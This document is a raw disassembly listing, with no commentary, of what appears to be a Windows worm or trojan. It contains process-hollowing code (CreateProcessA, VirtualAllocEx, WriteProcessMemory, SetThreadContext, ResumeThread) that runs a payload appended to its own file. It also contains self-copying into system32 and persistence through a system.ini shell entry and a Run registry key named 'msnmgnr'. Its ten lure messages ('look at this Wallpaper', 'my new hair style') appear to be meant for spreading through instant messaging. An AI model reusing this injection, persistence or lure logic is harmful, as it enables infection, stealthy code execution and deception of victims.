loc_40017AF6: ; CODE XREF: sub_40017A1C+C1j
mov ecx, eax
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
call sub_40006750
mov eax, [ebp+var_10]
mov edx, [eax+38h]
mov eax, [ebp+var_10]
mov eax, [eax+54h]
call sub_400178BC
add eax, [ebp+var_C]
mov [ebp+var_C], eax
mov eax, [ebp+var_10]
movzx edi, word ptr [eax+6]
dec edi
test edi, edi
jb short loc_40017B98
inc edi
xor ebx, ebx
loc_40017B29: ; CODE XREF: sub_40017A1C+17Aj
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+10h]
test eax, eax
jbe short loc_40017B72
lea edx, [ebx+ebx*4]
cmp eax, [esi+edx*8+8]
jbe short loc_40017B44
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+8]
loc_40017B44: ; CODE XREF: sub_40017A1C+11Fj
lea edx, [ebx+ebx*4]
mov edx, [esi+edx*8+14h]
add edx, [ebp+var_8]
mov ecx, eax
mov eax, [ebp+var_C]
call sub_40006750
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+8]
mov edx, [ebp+var_10]
mov edx, [edx+38h]
call sub_400178BC
add eax, [ebp+var_C]
mov [ebp+var_C], eax
jmp short loc_40017B94
; ---------------------------------------------------------------------------
loc_40017B72: ; CODE XREF: sub_40017A1C+116j
lea eax, [ebx+ebx*4]
cmp dword ptr [esi+eax*8+8], 0
jz short loc_40017B94
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+8]
mov edx, [ebp+var_10]
mov edx, [edx+38h]
call sub_400178BC
add eax, [ebp+var_C]
mov [ebp+var_C], eax
loc_40017B94: ; CODE XREF: sub_40017A1C+154j
; sub_40017A1C+15Ej
inc ebx
dec edi
jnz short loc_40017B29
loc_40017B98: ; CODE XREF: sub_40017A1C+108j
lea eax, [ebp+var_74]
xor ecx, ecx
mov edx, 44h
call sub_40003580
lea eax, [ebp+var_248]
xor ecx, ecx
mov edx, 0CCh
call sub_40003580
cmp [ebp+var_4], 0
jz short loc_40017C1D
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_74]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp+var_250]
lea edx, [ebp+var_179]
mov ecx, 105h
call sub_40004AF4
push [ebp+var_250]
push offset dword_40017D80
push [ebp+var_4]
lea eax, [ebp+var_24C]
mov edx, 3
call sub_40004C08
mov eax, [ebp+var_24C]
call sub_40004D48
push eax
push 0
call ds:dword_4001F38C ; CreateProcessA
jmp short loc_40017C5B
; ---------------------------------------------------------------------------
loc_40017C1D: ; CODE XREF: sub_40017A1C+1A1j
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_74]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp+var_254]
lea edx, [ebp+var_179]
mov ecx, 105h
call sub_40004AF4
mov eax, [ebp+var_254]
call sub_40004D48
push eax
push 0
call ds:dword_4001F38C ; CreateProcessA
loc_40017C5B: ; CODE XREF: sub_40017A1C+1FFj
call sub_400179D4
mov [ebp+var_248], 10007h
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_2C]
push eax
call ds:dword_4001F388 ; GetThreadContext
lea eax, [ebp+var_1C]
push eax
push 4
lea eax, [ebp+var_18]
push eax
mov eax, [ebp+var_1A4]
add eax, 8
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F384 ; ReadProcessMemory
push 40h
push 3000h
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10]
mov eax, [eax+34h]
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F380 ; VirtualAllocEx
lea eax, [ebp+var_1C]
push eax
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_10]
mov eax, [eax+34h]
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F3A8 ; WriteProcessMemory
lea eax, [ebp+var_1C]
push eax
push 4
mov eax, [ebp+var_10]
add eax, 34h
push eax
mov eax, [ebp+var_1A4]
add eax, 8
push eax
mov eax, [ebp+var_30]
push eax
call ds:dword_4001F3A8 ; WriteProcessMemory
mov eax, [ebp+var_10]
mov eax, [eax+34h]
mov edx, [ebp+var_10]
add eax, [edx+28h]
mov [ebp+var_198], eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_2C]
push eax
call ds:dword_4001F37C ; SetThreadContext
mov eax, [ebp+var_2C]
push eax
call ds:dword_4001F378 ; ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40017D44
loc_40017D2D: ; CODE XREF: sub_40017A1C+326j
call sub_400179D4
mov eax, [ebp+var_14]
push eax
call sub_400062D8
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40017D3D: ; DATA XREF: sub_40017A1C+91o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40017D2D
; ---------------------------------------------------------------------------
loc_40017D44: ; CODE XREF: sub_40017A1C+320j
; DATA XREF: sub_40017A1C+30Co
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40017D71
loc_40017D51: ; CODE XREF: sub_40017A1C+353j
lea eax, [ebp+var_254]
mov edx, 3
call sub_400048A8
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40017D6A: ; DATA XREF: sub_40017A1C+31o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40017D51
; ---------------------------------------------------------------------------
loc_40017D71: ; CODE XREF: sub_40017A1C+34Dj
; DATA XREF: sub_40017A1C+330o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40017A1C endp
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 1
dword_40017D80 dd 20h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40017D84 proc near ; CODE XREF: .itext:400199CCp
var_174 = byte ptr -174h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_14C = byte ptr -14Ch
var_146 = word ptr -146h
var_54 = byte ptr -54h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFE8Ch
push ebx
push esi
push edi
mov [ebp+var_C], ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40017F00
push dword ptr fs:[eax]
mov fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+var_4]
call sub_40004D48
push eax
call ds:dword_4001F3B4 ; CreateFileA
mov esi, eax
push 0
push 0
push 0
push esi
call ds:dword_4001F3B8 ; SetFilePointer
push 0
lea eax, [ebp+var_10]
push eax
push 40h
lea eax, [ebp+var_54]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
cmp [ebp+var_10], 40h
jnz loc_40017EE3
push 0
push 0
mov eax, [ebp+var_18]
push eax
push esi
call ds:dword_4001F3B8 ; SetFilePointer
push 0
lea eax, [ebp+var_10]
push eax
push 0F8h
lea eax, [ebp+var_14C]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
cmp [ebp+var_10], 0F8h
jnz loc_40017EDA
push 1
push 0
movzx eax, [ebp+var_146]
dec eax
add eax, eax
add eax, eax
add eax, eax
lea eax, [eax+eax*4]
push eax
push esi
call ds:dword_4001F3B8 ; SetFilePointer
push 0
lea eax, [ebp+var_10]
push eax
push 28h
lea eax, [ebp+var_174]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
mov eax, [ebp+var_160]
add eax, [ebp+var_164]
mov [ebp+var_14], eax
push 0
push esi
call ds:dword_4001F3C0 ; GetFileSize
mov edi, eax
sub edi, [ebp+var_14]
test edi, edi
jbe short loc_40017ED1
push 0
push 0
mov eax, [ebp+var_14]
push eax
push esi
call ds:dword_4001F3B8 ; SetFilePointer
mov eax, edi
call sub_40002C20
mov edx, [ebp+var_8]
mov [edx], eax
push 0
lea eax, [ebp+var_10]
push eax
push edi
mov eax, [ebp+var_8]
mov eax, [eax]
push eax
push esi
call ds:dword_4001F3BC ; ReadFile
cmp edi, [ebp+var_10]
jnz short loc_40017EC8
mov bl, 1
mov eax, [ebp+var_C]
mov [eax], edi
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017EC8: ; CODE XREF: sub_40017D84+132j
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017ED1: ; CODE XREF: sub_40017D84+FEj
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017EDA: ; CODE XREF: sub_40017D84+A6j
push esi
call ds:dword_4001F3C4 ; CloseHandle
jmp short loc_40017EEA
; ---------------------------------------------------------------------------
loc_40017EE3: ; CODE XREF: sub_40017D84+71j
push esi
call ds:dword_4001F3C4 ; CloseHandle
loc_40017EEA: ; CODE XREF: sub_40017D84+142j
; sub_40017D84+14Bj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40017F07
loc_40017EF7: ; CODE XREF: sub_40017D84+181j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40017F00: ; DATA XREF: sub_40017D84+20o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40017EF7
; ---------------------------------------------------------------------------
loc_40017F07: ; CODE XREF: sub_40017D84+17Bj
; DATA XREF: sub_40017D84+16Eo
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40017D84 endp
; =============== S U B R O U T I N E =======================================
sub_40017F10 proc near ; CODE XREF: .itext:4001941Ep
push ebx
mov ebx, eax
call sub_40003058
mov eax, 9
call sub_40003080
mov ds:dword_4001F6E0, eax
mov eax, ds:dword_4001F6E0
cmp eax, 9 ; switch 10 cases
ja loc_40017FEE ; default
jmp ds:off_40017F3C[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40017F3C dd offset loc_40017F64 ; DATA XREF: sub_40017F10+25r
dd offset loc_40017F72 ; jump table for switch statement
dd offset loc_40017F80
dd offset loc_40017F8E
dd offset loc_40017F9C
dd offset loc_40017FAA
dd offset loc_40017FB8
dd offset loc_40017FC6
dd offset loc_40017FD4
dd offset loc_40017FE2
; ---------------------------------------------------------------------------
loc_40017F64: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 0
mov edx, offset aHahaLookAtThis ; "haha, look at this Wallpaper :D its gre"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F72: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 1
mov edx, offset aLookAtThisNewG ; "Look at this new game... :D, Look at my"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F80: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 2
mov edx, offset aLookiMyNewHair ; "Looki ^^, my new hair style what you th"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F8E: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 3
mov edx, offset aWonnaSeeARealE ; "Wonna see a real evil pic? :D mwahaha B"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017F9C: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 4
mov edx, offset aNowThisIsWhatI ; "Now this is what i call Pure Ownage..."
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FAA: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 5
mov edx, offset aIFinallyGotANe ; "I finally got a new car, what you think"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FB8: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 6
mov edx, offset aOoooTellMeIfYo ; "oooo Tell me if you like my new compute"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FC6: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 7
mov edx, offset aTellMeIfThisLo ; "Tell me if this looks coo, i made my ow"...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FD4: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 8
mov edx, offset aIWentToAPartyL ; "I went to a party last night, i got so "...
call sub_400048D8
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40017FE2: ; CODE XREF: sub_40017F10+25j
; DATA XREF: sub_40017F10:off_40017F3Co
mov eax, ebx ; jumptable 40017F35 case 9
mov edx, offset aYouGotoSeeThis ; "You goto see this pic, its brilliant ^_"...
call sub_400048D8
loc_40017FEE: ; CODE XREF: sub_40017F10+1Fj
pop ebx ; default
retn
sub_40017F10 endp
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 29h
aHahaLookAtThis db 'haha, look at this Wallpaper :D its great',0
; DATA XREF: sub_40017F10+56o
align 4
dd 0FFFFFFFFh, 38h
aLookAtThisNewG db 'Look at this new game... :D, Look at my kills :P Ownage?',0
; DATA XREF: sub_40017F10+64o
align 4
dd 0FFFFFFFFh, 2Bh
aLookiMyNewHair db 'Looki ^^, my new hair style what you think?',0
; DATA XREF: sub_40017F10+72o
dd 0FFFFFFFFh, 40h
aWonnaSeeARealE db 'Wonna see a real evil pic? :D mwahaha Bin-Ladin in a Blender ^_^',0
; DATA XREF: sub_40017F10+80o
align 4
dd 0FFFFFFFFh, 26h
aNowThisIsWhatI db 'Now this is what i call Pure Ownage...',0 ; DATA XREF: sub_40017F10+8Eo
align 4
dd 0FFFFFFFFh, 28h
aIFinallyGotANe db 'I finally got a new car, what you think?',0
; DATA XREF: sub_40017F10+9Co
align 4
dd 0FFFFFFFFh, 41h
aOoooTellMeIfYo db 'oooo Tell me if you like my new computer :) taken me ages to make'
; DATA XREF: sub_40017F10+AAo
db 0
align 4
dd 0FFFFFFFFh, 5Ch
aTellMeIfThisLo db 'Tell me if this looks coo, i made my own Skin for Windows :), All'
; DATA XREF: sub_40017F10+B8o
db ' blue and grey and stuff ^^',0
align 10h
dd 0FFFFFFFFh, 70h
aIWentToAPartyL db 'I went to a party last night, i got so wasted, hehe, here is a pi'
; DATA XREF: sub_40017F10+C6o
db 'c of me trying to do that Cloth trick on tables',0
align 4
dd 0FFFFFFFFh, 28h
aYouGotoSeeThis db 'You goto see this pic, its brilliant ^_^',0
; DATA XREF: sub_40017F10+D4o
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400182B0 proc near ; DATA XREF: .text:400183E8o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40018301
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, offset dword_40023C68
call sub_40006204
mov eax, offset dword_40023C6C
call sub_40006204
mov eax, offset dword_40023C70
call sub_40006204
mov eax, offset dword_40023C74
call sub_40006204
mov eax, offset dword_40023C78
call sub_40004884
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40018308
loc_40018300: ; CODE XREF: sub_400182B0+56j
retn
; ---------------------------------------------------------------------------
loc_40018301: ; DATA XREF: sub_400182B0+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40018300
; ---------------------------------------------------------------------------
loc_40018308: ; CODE XREF: sub_400182B0:loc_40018300j
; DATA XREF: sub_400182B0+4Bo
pop ebp
retn
sub_400182B0 endp
; ---------------------------------------------------------------------------
align 4
dword_4001830C dd 1Bh ; .bss:off_4001E7D0o
dd offset dword_40018314
dword_40018314 dd 2 dup(0) dd offset loc_40019000
dd offset sub_40006350
dd 2 dup(0)
dd offset loc_40019098
dd offset sub_40006758
dd 0Eh dup(0)
dd offset sub_400190AC
dd offset sub_4000CC50
dd offset loc_40019133+1
dd offset sub_4000D598
dd offset sub_40019144
dd offset sub_40012E54
dd 2 dup(0)
dd offset loc_400191F0
dd offset sub_40012F38
dd offset sub_400191F8
dd offset sub_40013ED4
dd offset loc_4001928C
dd offset sub_40013FA4
dd offset loc_40019294
dd offset sub_40014740
dd 2 dup(0)
dd offset byte_4001929C
dd offset sub_40015C34
dd 4 dup(0)
dd offset loc_40019398
dd offset sub_40016AB0
dd 5 dup(0)
dd offset sub_400182B0
_text ends
; ---------------------------------------------------------------------------
; Section 2. (virtual address 00019000)
; Virtual size : 00000BFC ( 3068.)
; Section size in file : 00000BFC ( 3068.)
; Offset to raw data for section: 00019000
; Flags 60000020: Text Executable Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_itext segment para public 'CODE' use32
assume cs:_itext
;org 40019000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
loc_40019000: ; DATA XREF: .text:4001831Co
sub ds:dword_4001C5B8, 1
jnb locret_40019094
call sub_400029FC
mov byte_4001A00C, 2
mov ds:off_4001C014, offset sub_40001168
mov ds:off_4001C018, offset sub_40001178
mov ds:byte_4001C04E, 2
mov ds:off_4001C000, offset sub_40005694
call sub_40003B64
test al, al
jz short loc_4001904C
call sub_40003B94
loc_4001904C: ; CODE XREF: .itext:40019045j
call sub_40003C58
mov ds:word_4001C054, 0D7B0h
mov ds:word_4001C220, 0D7B0h
mov ds:word_4001C3EC, 0D7B0h
call sub_400011D0 ; GetCommandLineA
mov ds:dword_4001C040, eax
call sub_400012A0
mov ds:dword_4001C03C, eax
call sub_40006348 ; GetACP
mov ds:dword_4001C5BC, eax
call sub_40001288 ; GetCurrentThreadId
mov ds:dword_4001C034, eax
locret_40019094: ; CODE XREF: .itext:40019007j
retn
; ---------------------------------------------------------------------------
align 4
loc_40019098: ; DATA XREF: .text:4001832Co
sub ds:dword_4001E800, 1
jnb short locret_400190A8
xor eax, eax
mov ds:dword_4001E804, eax
locret_400190A8: ; CODE XREF: .itext:4001909Fj
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400190AC proc near ; DATA XREF: .text:4001836Co
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_4001911E
push dword ptr fs:[eax]
mov fs:[eax], esp
sub ds:dword_4001E918, 1
jnb short loc_40019110
mov eax, offset dword_4000C980
call sub_40004624
mov eax, offset dword_4000CA6C
call sub_4000464C
cmp ds:byte_4001E7F5, 0
jz short loc_400190F2
mov eax, offset off_4001A84C
mov edx, offset loc_40019130
call sub_400048D8
loc_400190F2: ; CODE XREF: sub_400190AC+35j
call sub_4000B72C
mov eax, offset sub_4000C230
call sub_400060A4
call sub_4000B830
call sub_4000C4D8
call sub_4000BE64
loc_40019110: ; CODE XREF: sub_400190AC+18j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40019125
loc_4001911D: ; CODE XREF: sub_400190AC+77j
retn
; ---------------------------------------------------------------------------
loc_4001911E: ; DATA XREF: sub_400190AC+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001911D
; ---------------------------------------------------------------------------
loc_40019125: ; CODE XREF: sub_400190AC:loc_4001911Dj
; DATA XREF: sub_400190AC+6Co
pop ebp
retn
sub_400190AC endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 2
; ---------------------------------------------------------------------------
loc_40019130: ; DATA XREF: sub_400190AC+3Co
xor [eax+0], bh
loc_40019133: ; DATA XREF: .text:40018374o
add [ebx+1F2802Dh], al
inc eax
add [ebx+5], esi
call sub_4000D28C
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40019144 proc near ; DATA XREF: .text:4001837Co
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_400191E5
push dword ptr fs:[eax]
mov fs:[eax], esp
sub ds:dword_4001F2A4, 1
jnb short loc_400191D7
mov eax, offset dword_4001F284
call sub_40012AC4
mov eax, offset sub_4000E0EC
mov ds:off_4001F294, eax
mov eax, offset sub_4000DC90
mov ds:off_4001F298, eax
mov edx, offset sub_4000DBA0
mov ds:off_4001F29C, edx
mov ds:off_4001F2A0, eax
mov eax, offset sub_4000E3EC
mov edx, off_4001AFD0
mov [edx], eax
mov eax, offset sub_400127B8
mov edx, off_4001AEE4
mov [edx], eax
mov eax, offset sub_4000E700
mov edx, off_4001B018
mov [edx], eax
mov eax, offset sub_400116DC
mov edx, off_4001B0B4
mov [edx], eax
mov eax, offset sub_40011DFC
mov edx, off_4001B024
mov [edx], eax
push offset dword_4001F2AC
call sub_400065E0 ; InitializeCriticalSection
loc_400191D7: ; CODE XREF: sub_40019144+18j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400191EC
loc_400191E4: ; CODE XREF: sub_40019144+A6j
retn
; ---------------------------------------------------------------------------
loc_400191E5: ; DATA XREF: sub_40019144+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400191E4
; ---------------------------------------------------------------------------
loc_400191EC: ; CODE XREF: sub_40019144:loc_400191E4j
; DATA XREF: sub_40019144+9Bo
pop ebp
retn
sub_40019144 endp
; ---------------------------------------------------------------------------
align 10h
loc_400191F0: ; DATA XREF: .text:4001838Co
sub ds:dword_4001F2C4, 1
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400191F8 proc near ; DATA XREF: .text:40018394o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40019281
push dword ptr fs:[eax]
mov fs:[eax], esp
sub ds:dword_4001F2D0, 1
jnb short loc_40019273
call sub_40013E14
mov eax, offset sub_40013ECC
call sub_40006094
mov dl, 1
mov eax, ds:off_40007908
call sub_4000C69C
mov edx, eax
test edx, edx
jz short loc_40019236
sub edx, 0FFFFFFD4h
loc_40019236: ; CODE XREF: sub_400191F8+39j
mov eax, offset dword_4001F2C8
call sub_4000621C
mov dl, 1
mov eax, ds:off_40013214
call sub_400133D4
mov ds:dword_4001F2D8, eax
mov dl, 1
mov eax, ds:off_400130A4
call sub_4001394C
mov ds:dword_4001F2D4, eax
mov dl, 1
mov eax, ds:off_400130A4
call sub_4001394C
mov ds:dword_4001F2E0, eax
loc_40019273: ; CODE XREF: sub_400191F8+18j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40019288
loc_40019280: ; CODE XREF: sub_400191F8+8Ej
retn
; ---------------------------------------------------------------------------
loc_40019281: ; DATA XREF: sub_400191F8+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40019280
; ---------------------------------------------------------------------------
loc_40019288: ; CODE XREF: sub_400191F8:loc_40019280j
; DATA XREF: sub_400191F8+83o
pop ebp
retn
sub_400191F8 endp
; ---------------------------------------------------------------------------
align 4
loc_4001928C: ; DATA XREF: .text:4001839Co
sub ds:dword_4001F2FC, 1
retn
; ---------------------------------------------------------------------------
loc_40019294: ; DATA XREF: .text:400183A4o
sub ds:dword_4001F300, 1
retn
; ---------------------------------------------------------------------------
byte_4001929C db 83h, 2Dh ; DATA XREF: .text:400183B4o
dd offset dword_4001F308
dw 0F01h
db 83h, 0EDh, 0
align 4
dd 0C632E800h
db 2 dup(0FFh), 68h
dd offset dword_4001F320
db 0E8h
dd 0FFFED328h
db 68h
dd offset dword_4001F338
db 0E8h, 1Eh, 0D3h
dd 76AFFFEh, 0FED3E7E8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F310[ebx]
; ---------------------------------------------------------------------------
dw 56Ah
dd 0FED3DBE8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F314[ebx]
; ---------------------------------------------------------------------------
dw 0D6Ah
dd 0FED3CFE8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F318[ebx]
; ---------------------------------------------------------------------------
dw 68h
dd 6A00007Fh, 0D43EE800h
db 0FEh, 0FFh, 0A3h
dd offset dword_4001F31C
db 0E8h
dd 0FFFFC660h, 30B966h
db 0B2h, 1, 0A1h
dd offset off_400147BC
db 0E8h
dd 0FFFFB584h
db 0A3h
dd offset dword_4001F350
db 66h, 0B9h, 10h
dd 0A101B200h
dd offset off_400147BC
dd 0FFB56FE8h
; ---------------------------------------------------------------------------
jmp ds:dword_4001F354[ebx]
; ---------------------------------------------------------------------------
dw 0B966h
dd 1B20010h
db 0A1h
dd offset off_40014824
db 0E8h, 5Ah, 0B5h
db 2 dup(0FFh), 0A3h
dd offset dword_4001F358
db 0B2h
db 1, 0A1h
dd offset off_40015ADC
dw 0F1E8h
; ---------------------------------------------------------------------------
mov edi, 0F360A3FFh
add [eax-4Eh], eax
add ds:off_400130A4[ecx], esp
call sub_4001394C
mov dword_4001AD44, eax
mov dl, 1
mov eax, ds:off_400130A4
call sub_4001394C
mov ds:dword_4001F35C, eax
mov ecx, offset sub_40014D6C
mov edx, offset sub_40014D7C
mov eax, ds:off_40014788
call sub_400135EC
mov ecx, offset loc_40014F40
mov edx, offset loc_40014F50
mov eax, ds:off_400147A0
call sub_400135EC
retn
; ---------------------------------------------------------------------------
align 4
loc_40019398: ; DATA XREF: .text:400183CCo
sub ds:dword_4001F364, 1
jnb short locret_400193EC
call sub_4001607C
mov eax, offset sub_400166E8
mov edx, off_4001B02C
mov [edx], eax
mov eax, off_4001AEF8
mov dword ptr [eax], offset sub_40016958
mov eax, offset sub_40016180
mov edx, off_4001B054
mov [edx], eax
mov eax, off_4001AED4
cmp byte ptr [eax], 0
jnz short locret_400193EC
mov eax, off_4001AFB8
mov eax, [eax]
mov ds:dword_4001F370, eax
mov eax, off_4001AFB8
mov dword ptr [eax], offset sub_40016A34
locret_400193EC: ; CODE XREF: .itext:4001939Fj
; .itext:400193D3j
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov ecx, 8
loc_400193F8: ; CODE XREF: .itext:400193FDj
push 0
push 0
dec ecx
jnz short loc_400193F8
push ecx
push ebx
push esi
push edi
mov eax, offset dword_4001830C
call sub_40006474
xor eax, eax
push ebp
push offset loc_40019AD3
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp-18h]
call sub_40017F10
push 0FFh
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
call sub_400065B8 ; GetSystemDirectoryA
mov eax, offset dword_40023E44
mov edx, offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
mov ecx, 1C8h
call sub_40004AF4
mov eax, offset dword_40023E44
mov edx, offset dword_40019AEC
call sub_40004B50
push 0
mov eax, ds:dword_40023C78
call sub_40004D48
push eax
lea edx, [ebp-1Ch]
xor eax, eax
call sub_40002FF8
mov eax, [ebp-1Ch]
call sub_40004D48
push eax
call sub_40006500 ; CopyFileA
push offset dword_40019AFC
push offset aExplorer_exeMs ; "Explorer.exe msnmngr.exe"
push offset aShell ; "shell"
push offset aBoot ; "boot"
call sub_40006668 ; WritePrivateProfileStringA
push 100h
push offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
call sub_400065B8 ; GetSystemDirectoryA
mov dl, 1
mov eax, ds:off_4001404C
call sub_4001414C
mov ebx, eax
mov edx, 80000002h
mov eax, ebx
call sub_400141EC
mov cl, 1
mov edx, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
mov eax, ebx
call sub_40014250
test al, al
jz short loc_400194FC
lea eax, [ebp-20h]
mov edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
mov ecx, 100h
call sub_40004AF4
lea eax, [ebp-20h]
mov edx, offset dword_40019B74
call sub_40004B50
mov ecx, [ebp-20h]
mov edx, offset aMsnmgnr ; "msnmgnr"
mov eax, ebx
call sub_400145A4
loc_400194FC: ; CODE XREF: .itext:400194CCj
mov eax, ebx
call sub_400141BC
mov dl, 1
mov eax, ds:off_4001404C
call sub_4001414C
mov ebx, eax
mov edx, 80000002h
mov eax, ebx
call sub_400141EC
mov cl, 1
mov edx, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
mov eax, ebx
call sub_40014250
test al, al
jz short loc_4001955D
lea eax, [ebp-24h]
mov edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
mov ecx, 100h
call sub_40004AF4
lea eax, [ebp-24h]
mov edx, offset dword_40019B74
call sub_40004B50
mov ecx, [ebp-24h]
mov edx, offset aMsnmgnr ; "msnmgnr"
mov eax, ebx
call sub_400145A4
loc_4001955D: ; CODE XREF: .itext:4001952Dj
mov eax, ebx
call sub_400141BC
call sub_400171BC
call sub_400173FC
mov eax, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
xor ecx, ecx
mov edx, 104h
call sub_40003580
push 104h
push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 0
call ds:dword_4001F3AC ; GetModuleFileNameA
mov edx, offset aStr ; "STR"
mov eax, offset dword_4001F960
call sub_40016F88
test eax, eax
jz loc_40019AB8
mov edx, offset dword_4001F964
mov ecx, ds:dword_4001F960
call sub_40002DFC
